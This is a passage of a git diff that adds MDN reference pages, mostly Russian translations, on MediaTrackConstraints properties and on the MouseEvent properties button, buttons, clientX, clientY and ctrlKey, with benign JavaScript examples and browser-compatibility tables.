+<h3 id="Properties_of_video_tracks">Properties of video tracks</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.aspectRatio", "aspectRatio")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} specifying the video aspect ratio or range of aspect ratios which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.facingMode", "facingMode")}}</dt>
+ <dd>A {{domxref("ConstrainDOMString")}} object specifying a facing or an array of facings which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.frameRate", "frameRate")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} specifying the frame rate or range of frame rates which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.height", "height")}}</dt>
+ <dd>A {{domxref("ConstrainLong")}} specifying the video height or range of heights which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.width", "width")}}</dt>
+ <dd>A {{domxref("ConstrainLong")}} specifying the video width or range of widths which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.resizeMode", "resizeMode")}}</dt>
+ <dd>A {{domxref("ConstrainDOMString")}} object specifying a mode or an array of modes the UA can use to derive the resolution of a video track. Allowed values are <code>none</code> and <code>crop-and-scale</code>. <code>none</code> means that the user agent uses the resolution provided by the camera, its driver or the OS. <code>crop-and-scale</code> means that the user agent can use cropping and downscaling on the camera output  in order to satisfy other constraints that affect the resolution.</dd>
+</dl>
+
+<h3 id="Properties_of_shared_screen_tracks">Properties of shared screen tracks</h3>
+
+<p>These constraints apply to <code>MediaTrackConstraints</code> objects specified as part of the {{domxref("DisplayMediaStreamConstraints")}} object's {{domxref("DisplayMediaStreamConstraints.video", "video")}} property when using {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} to obtain a stream for screen sharing.</p>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.cursor", "cursor")}}</dt>
+ <dd>
+ <p>A {{domxref("ConstrainDOMString")}} which specifies whether or not to include the mouse cursor in the generated track, and if so, whether or not to hide it while not moving. The value may be a single one of the following strings, or an array of them to allow the browser flexibility in deciding what to do about the cursor.</p>
+
+ <dl>
+  <dt><code>always</code></dt>
+  <dd>The mouse is always visible in the video content of the {domxref("MediaStream"), unless the mouse has moved outside the area of the content.</dd>
+  <dt><code>motion</code></dt>
+  <dd>The mouse cursor is always included in the video if it's moving, and for a short time after it stops moving.</dd>
+  <dt><code>never</code></dt>
+  <dd>The mouse cursor is never included in the shared video.</dd>
+ </dl>
+ </dd>
+ <dt>{{domxref("MediaTrackConstraints.displaySurface", "displaySurface")}}</dt>
+ <dd>
+ <p>A {{domxref("ConstrainDOMString")}} which specifies the types of display surface that may be selected by the user. This may be a single one of the following strings, or a list of them to allow multiple source surfaces:</p>
+
+ <dl>
+  <dt><code>application</code></dt>
+  <dd>The stream contains all of the windows of the application chosen by the user rendered into the one video track.</dd>
+  <dt><code>browser</code></dt>
+  <dd>The stream contains the contents of a single browser tab selected by the user.</dd>
+  <dt><code>monitor</code></dt>
+  <dd>The stream's video track contains the entire contents of one or more of the user's screens.</dd>
+  <dt><code>window</code></dt>
+  <dd>The stream contains a single window selected by the user for sharing.</dd>
+ </dl>
+ </dd>
+ <dt>{{domxref("MediaTrackConstraints.logicalSurface", "logicalSurface")}}</dt>
+ <dd>A {{domxref("ConstrainBoolean")}} value which may contain a single Boolean value or a set of them, indicating whether or not to allow the user to choose source surfaces which do not directly correspond to display areas. These may include backing buffers for windows to allow capture of window contents that are hidden by other windows in front of them, or buffers containing larger documents that need to be scrolled through to see the entire contents in their windows.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#dom-mediatrackconstraints')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('MediaStream Image', '#mediatrackconstraintset-section')}}</td>
+   <td>{{Spec2('MediaStream Image')}}</td>
+   <td>Adds image constraints.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.MediaTrackConstraints")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API/Constraints">Capabilities, constraints, and settings</a></li>
+ <li><a href="/en-US/docs/Web/API/Screen_Capture_API">Screen Capture API</a></li>
+ <li><a href="/en-US/docs/Web/API/Screen_Capture_API/Using_Screen_Capture">Using the Screen Capture API</a></li>
+ <li>{{domxref("MediaDevices.getUserMedia()")}}</li>
+ <li>{{domxref("MediaStreamTrack.getConstraints()")}}</li>
+ <li>{{domxref("MediaStreamTrack.applyConstraints()")}}</li>
+ <li>{{domxref("MediaDevices.getSupportedConstraints()")}}</li>
+ <li>{{domxref("MediaTrackSupportedConstraints")}}</li>
+ <li>{{domxref("MediaStreamTrack.getSettings()")}}</li>
+</ul>
diff --git a/files/ru/web/api/mediatrackconstraints/эхоподавление/index.html b/files/ru/web/api/mediatrackconstraints/эхоподавление/index.html
new file mode 100644
index 0000000000..3e8d1f1a4e
--- /dev/null
+++ b/files/ru/web/api/mediatrackconstraints/эхоподавление/index.html
@@ -0,0 +1,77 @@
+---
+title: MediaTrackConstraints.echoCancellation
+slug: Web/API/MediaTrackConstraints/Эхоподавление
+tags:
+  - API
+  - Media Capture and Streams API
+  - Media Streams API
+  - MediaTrackConstrains
+  - WebRTC
+  - Медиа
+  - Ограничения
+  - Свойство
+  - Эхоподавление
+  - справочник
+translation_of: Web/API/MediaTrackConstraints/echoCancellation
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p>Свойство <code><strong>echoCancellation</strong></code> объекта {{domxref("MediaTrackConstraints")}} это {{domxref("ConstrainBoolean")}} описывающее запрашиваемые или обязательные ограничения накладываемые на ограничивающее свойство {{domxref("MediaTrackSettings.echoCancellation", "echoCancellation")}}.</p>
+
+<p>При необходимости вы можете определить, поддерживается ли это ограничение, проверив значение {{domxref("MediaTrackSupportedConstraints.echoCancellation")}} как результат вызова {{domxref("MediaDevices.getSupportedConstraints()")}}. Однако, обычно в этом нет необходимости, поскольку браузеры просто игнорируют любые незнакомые им ограничения.</p>
+
+<p>Поскольку {{Glossary("RTP")}} не содержит эту информцию, медиа-треки связанные с <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> {{domxref("RTCPeerConnection")}} некогда не будут включать это свойство.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">const <em>constraintsObject</em> = {
+  echoCancellation: <em>constraint,</em>
+};
+
+<em>constraintsObject</em>.echoCancellation = <em>constraint</em>;
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Если это значение является простым <code>true</code> или <code>false</code>, пользовательский агент попытается получить медиа с включенным или отключенным эхоподавлением, если это возможно, но не вернет ошибку, если это невозможно сделать. Иначе если значение передано как объект с полем <code>exact</code> , то логическое значение этого поля указывает обязательную настройку для эхоподавления; если это не может быть выполненым - запрос вернет ошибку.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Смотрите {{SectionOnPage("/en-US/docs/Web/API/Media_Streams_API/Constraints", "Example: Constraint exerciser")}} для примера.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Media Capture', '#dom-mediatrackconstraintset-echocancellation', 'echoCancellation') }}</td>
+   <td>{{ Spec2('Media Capture') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden"><br>
+Таблица совместимости на этой странице сгенерирована из структурированных данных. IЕсли вы хотите внести свой вклад в эти данные,  проверьте пожалуйста <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("api.MediaTrackConstraints.echoCancellation")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API/Constraints">Capabilities, constraints, and settings</a></li>
+ <li>{{domxref("MediaTrackConstraints")}}</li>
+ <li>{{domxref("MediaDevices.getSupportedConstraints()")}}</li>
+ <li>{{domxref("MediaTrackSupportedConstraints")}}</li>
+ <li>{{domxref("MediaStreamTrack")}}</li>
+</ul>
diff --git a/files/ru/web/api/mouseevent/button/index.html b/files/ru/web/api/mouseevent/button/index.html
new file mode 100644
index 0000000000..a5bd49e4b9
--- /dev/null
+++ b/files/ru/web/api/mouseevent/button/index.html
@@ -0,0 +1,152 @@
+---
+title: MouseEvent.button
+slug: Web/API/MouseEvent/button
+translation_of: Web/API/MouseEvent/button
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p><strong><code>MouseEvent.button</code></strong> свойство доступное только для чтения, возвращает значение, соответствующее нажатой кнопки мыши, которое инициировало событие.</p>
+
+<p>Это свойство предоставляет информацию только о том, какая кнопка или несколько кнопок были нажаты или отпущены для инициации события, и не имеет отношения к таким событиям как  {{event("mouseenter")}}, {{event("mouseleave")}}, {{event("mouseover")}}, {{event("mouseout")}} или {{event("mousemove")}}.</p>
+
+<p>Пользователь может изменять конфигурацию кнопок своей мыши таким образом, что значение ноль будет получено при нажатии кнопки, не являющейся физически крайней левой кнопкой мыши, тем не менее, событие будет вести себя так, как будто левая кнопка была нажата в стандартной раскладкой кнопок.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Не путайте это свойство со свойством {{domxref ( "MouseEvent.buttons")}}, которое содержит значения, соответствующие нажатым кнопкам мыши для всех типов событий мыши.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var <em>buttonPressed</em> = <em>instanceOfMouseEvent</em>.button
+</pre>
+
+<h3 id="Возвращаемые_значения">Возвращаемые значения</h3>
+
+<p>Число, соответстующее нажатой кнопке:</p>
+
+<ul>
+ <li><code>0</code>:  Нажата основная кнопка. Левая кнопка мыши или переназначенная пользователем другая кнопка</li>
+ <li><code>1</code>:  Нажата вспомогательная кнопка. Колёсико или средняя кнопка мыши, если она есть</li>
+ <li><code>2</code>:  Нажата вторичная кнопка. Правая кнопка мыши</li>
+ <li><code>3</code>:  Нажата четвёртая кнопка мыши. Обычно кнопка браузера <em>Назад</em></li>
+ <li><code>4</code>:  Нажата пятая кнопка мыши. Обычно кнопка браузера <em>Вперёд</em></li>
+</ul>
+
+<p>Для мыши, перенастроенной под левую руку, значения нажатых кнопок меняются местами. В этом случае значения читаются справа налево.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">&lt;script&gt;
+var whichButton = function (e) {
+    // Handle different event models
+    var e = e || window.event;
+    var btnCode;
+
+    if ('object' === typeof e) {
+        btnCode = e.button;
+
+        switch (btnCode) {
+            case 0:
+                console.log('Нажата левая кнопка.');
+            break;
+
+            case 1:
+                console.log('Нажата средняя кнопка или колёсико.');
+            break;
+
+            case 2:
+                console.log('Нажата правая кнопка.');
+            break;
+
+            default:
+                console.log('Неопределённое событие: ' + btnCode);
+        }
+    }
+}
+&lt;/script&gt;
+
+&lt;button onmouseup="whichButton(event);" oncontextmenu="event.preventDefault();"&gt;Нажмите кнопку мыши...&lt;/button&gt;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-MouseEvent-button','MouseEvent.button')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Compared to {{SpecName('DOM2 Events')}}, the return value can be negative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.button')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддерживается_браузерами">Поддерживается браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1)}}</td>
+   <td>1.0</td>
+   <td>9.0 [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.0.4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Это соглашение не поддерживается браузерами Internet Explorer до версии 9: см. <a href="http://www.quirksmode.org/js/events_properties.html#button">QuirksMode for details</a>.</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{domxref('"MouseEvent"')}}</li>
+</ul>
diff --git a/files/ru/web/api/mouseevent/buttons/index.html b/files/ru/web/api/mouseevent/buttons/index.html
new file mode 100644
index 0000000000..76a76cfbb4
--- /dev/null
+++ b/files/ru/web/api/mouseevent/buttons/index.html
@@ -0,0 +1,125 @@
+---
+title: MouseEvent.buttons
+slug: Web/API/MouseEvent/buttons
+translation_of: Web/API/MouseEvent/buttons
+---
+<div>{{APIRef("DOM Events")}}</div>
+
+<div>Свойство<span class="seoSummary"><strong><code>MouseEvent.buttons</code></strong></span>доступно только для чтения. Оно показывает, какие клавиши мыши (или другого устройства ввода) были нажаты при срабатывании события.</div>
+
+<div> </div>
+
+<div>Для каждой нажатой кнопки есть своё уникальное битовое значение (см. ниже раздел "<a href="#Return">Возвращаемые значения</a>"). Если нажаты несколько кнопок одновременно, значения суммируются, создавая новое значение. Например, если нажата вторая кнопка (2 или 000010 в двоичном коде) вместе со средней (4 или 000100 в двоичном коде), значение будет равно 6 (2 + 4) или 000110 в двоичном коде.</div>
+
+<div> </div>
+
+<div class="note">
+<p><strong>Note:</strong> Не путайте это свойство со свойством {{domxref("MouseEvent.button")}}. Текущее свойство {{domxref("MouseEvent.buttons")}} показывает состояние нажатых кнопок при любом событии мыши, а свойство {{domxref("MouseEvent.button")}} указывает на события, произошедшие в результате нажатия/отпускания кнопок мыши.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>buttonPressed</em> = <em>instanceOfMouseEvent</em>.buttons
+</pre>
+
+<h2 id="Возвращаемые_значения"><a id="Return" name="Return">Возвращаемые значения</a></h2>
+
+<p>Целое число, представляющее одну или несколько кнопок. При одновременном нажатии нескольких кнопок значения объединяются (например, 3 = первая (1) + вторая (2) кнопки мыши):</p>
+
+<ul>
+ <li><code>0 </code> : кнопки не нажаты или не инициализированы;</li>
+ <li><code>1 </code> : первая кнопка (обычно левая);</li>
+ <li><code>2 </code> : вторая кнопка (обычно правая);</li>
+ <li><code>4 </code> : дополнительная кнопка (обычно средняя или колёсико мыши);</li>
+ <li><code>8 </code> : четвёртая кнопка (как правило, кнопка "Назад" браузера);</li>
+ <li><code>16</code> : пятая кнопка (как правило, кнопка "Вперёд" браузера).</li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-MouseEvent-buttons','MouseEvent.buttons')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(43)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko supports the <code>buttons</code> attribute on Windows, Linux (GTK), and Mac OS with the following restrictions:</p>
+
+<ul>
+ <li>Utilities allow customization of button actions so that primary may not the the left button on the device, secondary may not be the right button, and so on. The middle (wheel) button, 4th button and 5th button might not be assigned a value, even when they are pressed.</li>
+ <li>Single button devices may emulate additional buttons with combinations of button and keyboard presses</li>
+ <li>Touch devices may emulate buttons with configurable gestures (e.g. single touch for primary, two-finger touch for secondary, etc.)</li>
+ <li>On Linux (GTK), the 4th button and the 5th button are not supported. In addition, a mouseup event always has the releasing button information in this attribute value.</li>
+ <li>On Mac OS X 10.5, the buttons attribute always returns 0 because there is no platform API for implementing this feature.</li>
+</ul>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{domxref("MouseEvent")}}</li>
+</ul>
diff --git a/files/ru/web/api/mouseevent/clientx/index.html b/files/ru/web/api/mouseevent/clientx/index.html
new file mode 100644
index 0000000000..2122a975a2
--- /dev/null
+++ b/files/ru/web/api/mouseevent/clientx/index.html
@@ -0,0 +1,132 @@
+---
+title: MouseEvent.clientX
+slug: Web/API/MouseEvent/clientX
+tags:
+  - API
+  - CSSOM View
+  - DOM
+  - DOM Events
+  - MouseEvent
+  - Property
+  - Read-only
+translation_of: Web/API/MouseEvent/clientX
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p><strong><code>MouseEvent.clientX</code></strong> свойство доступное только для чтения. Это свойство является горизонтальной координатой в пределах клиентской области приложения, на которой произошло событие (в отличие от координат внутри страницы). Для примера, нажатие в верхнем левом углу клиентской области будет всегда приводить к событию со значением свойства <code>clientX </code>равным 0, независимо от того, прокручена страницы по горизонтали или нет.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>x</em> = <em>instanceOfMouseEvent</em>.clientX
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Числовое значение горизонтальной координаты</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Пример для clientX\clientY&lt;/title&gt;
+
+&lt;script&gt;
+function showCoords(evt){
+  alert(
+    "clientX value: " + evt.clientX + "\n" +
+    "clientY value: " + evt.clientY + "\n"
+  );
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onmousedown="showCoords(event)"&gt;
+&lt;p&gt;Для показа координат мышки нажмите в любом месте страницы.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-MouseEvent-clientX','MouseEvent.clientX')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Нет отличий от {{SpecName('DOM2 Events')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.clientX')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>6</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also"><strong>Смотрите также</strong></h2>
+
+<ul>
+ <li>{{ domxref("MouseEvent") }}</li>
+ <li>{{domxref("MouseEvent.clientY","clientY")}}</li>
+ <li>{{domxref("MouseEvent.screenX","screenX")}} / {{domxref("MouseEvent.screenY","screenY")}}</li>
+</ul>
diff --git a/files/ru/web/api/mouseevent/clienty/index.html b/files/ru/web/api/mouseevent/clienty/index.html
new file mode 100644
index 0000000000..02d03fb891
--- /dev/null
+++ b/files/ru/web/api/mouseevent/clienty/index.html
@@ -0,0 +1,124 @@
+---
+title: MouseEvent.clientY
+slug: Web/API/MouseEvent/clientY
+translation_of: Web/API/MouseEvent/clientY
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p><strong><code>MouseEvent.clientY</code></strong> свойство доступное только для чтения. Это свойство является вертикальной координатой в пределах клиентской области приложения, на которой произошло событие (в отличие от координат внутри страницы). Для примера, нажатие в верхнем левом углу клиентской области будет всегда приводить к событию со значением свойства <code>clientY </code>равным 0, независимо от того, прокручена страницы по вертикали или нет.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>y</em> = <em>instanceOfMouseEvent</em>.clientY
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Числовое значение вертикальной координаты</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Пример для clientX\clientY&lt;/title&gt;
+
+&lt;script&gt;
+function showCoords(evt){
+  alert(
+    "clientX value: " + evt.clientX + "\n" +
+    "clientY value: " + evt.clientY + "\n"
+  );
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onmousedown="showCoords(event)"&gt;
+&lt;p&gt;Для показа координат мышки нажмите в любом месте страницы.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-MouseEvent-clientY','MouseEvent.clientY')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Нет отличий от {{SpecName('DOM2 Events')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.clientY')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>6</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also"><strong>Смотрите также</strong></h2>
+
+<ul>
+ <li>{{ domxref("MouseEvent") }}</li>
+ <li>{{domxref("MouseEvent.clientX","clientX")}}</li>
+ <li>{{domxref("MouseEvent.screenX","screenX")}} / {{domxref("MouseEvent.screenY","screenY")}}</li>
+</ul>
diff --git a/files/ru/web/api/mouseevent/ctrlkey/index.html b/files/ru/web/api/mouseevent/ctrlkey/index.html
new file mode 100644
index 0000000000..6b8815d8da
--- /dev/null
+++ b/files/ru/web/api/mouseevent/ctrlkey/index.html
@@ -0,0 +1,71 @@
+---
+title: MouseEvent.ctrlKey
+slug: Web/API/MouseEvent/ctrlKey
+translation_of: Web/API/MouseEvent/ctrlKey
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>Свойство только для чтения <strong><code>MouseEvent.ctrlKey</code></strong> возращает true, когда клавиша Ctrl была нажата, а если нет - false.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>ctrlKeyPressed</em> = <em>instanceOfMouseEvent</em>.ctrlKey
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Boolean</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Пример с ctrlKey&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+document.addEventListener('click', function(e) {
+  console.log('Нажата клавиша Ctrl?', e.ctrlKey);
+})
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;p&gt;
+Кликните в любое место на странице и откройте консоль разработчика, чтобы узнать - нажата ли клавиша Ctrl?
+&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-MouseEvent-ctrlKey','MouseEvent.ctrlKey')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Нет различий от {{SpecName('DOM2 Events')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.ctrlKey')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
